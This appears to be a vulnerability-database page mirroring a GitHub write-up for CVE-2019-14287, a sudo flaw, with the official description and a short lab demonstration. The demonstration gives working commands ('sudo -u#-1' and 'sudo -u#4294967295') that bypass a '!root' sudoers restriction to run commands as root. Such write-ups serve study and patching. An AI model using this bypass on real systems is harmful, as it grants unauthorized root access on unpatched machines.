CVE-2019-14287 PoC — Sudo 输入验证错误漏洞

Source

https://github.com/gurneesh/CVE-2019-14287-write-up

Associated Vulnerability

Title: Sudo 输入验证错误漏洞 (CVE-2019-14287)
Description:In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a "sudo -u \#$((0xffffffff))" command.

Readme

# CVE-2019-14287-write-up #

4294967295
Sudo Bug Allows Restricted Users to Run Commands as Root

## DEMONSTRATION OF VULNERABILITY

### Add a new user:
sudo su - root
useradd -m -s /bin/bash testuser
passwd testuser  // add password to user
visudo

### Add a new entry
test    ALL=(ALL, !root) /usr/bin/id  // specifying that this user cannot use id command with root user

SAVE THE FILE AND EXIT FROM ROOT USER

### LOGON TO TEST USER
sudo su - test

### Write command
sudo id
YOU WILL BE PROMPTED WITH MESSAGE Sorry, user test is not allowed to execute '/usr/bin/id' as root

### NOW WRITE COMMAND
sudo -u#-1 id 
OR
sudo -u#4294967295 id

And there go, you have executed id command using root

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →